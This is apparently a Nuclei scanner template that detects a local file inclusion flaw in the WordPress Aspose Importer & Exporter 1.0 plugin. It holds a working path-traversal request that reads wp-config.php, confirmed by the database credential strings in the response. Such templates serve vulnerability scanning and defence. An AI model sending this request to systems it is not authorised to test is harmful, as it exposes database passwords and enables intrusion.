id: aspose-ie-file-download

info:
  name: WordPress Aspose Importer & Exporter 1.0 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: WordPress Aspose Importer & Exporter version 1.0 is vulnerable to local file inclusion.
  reference:
    - https://packetstormsecurity.com/files/131162/
    - https://wordpress.org/plugins/aspose-importer-exporter
  classification:
    cwe-id: CWE-23,CWE-73
  metadata:
    max-request: 1
  tags: aspose,packetstorm,wordpress,wp-plugin,lfi,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/aspose-importer-exporter/aspose_import_export_download?file=../../../wp-config.php'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        part: body
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022059550147960a5a51c12b1808bf800ba0f407f48c979561f1da7930de3fd0bc8102206f28099a35e4688769ffaf90bee717bbd75c73324c453f6039f1dfb19f48efea:922c64590222798bb761d5b6d8e72950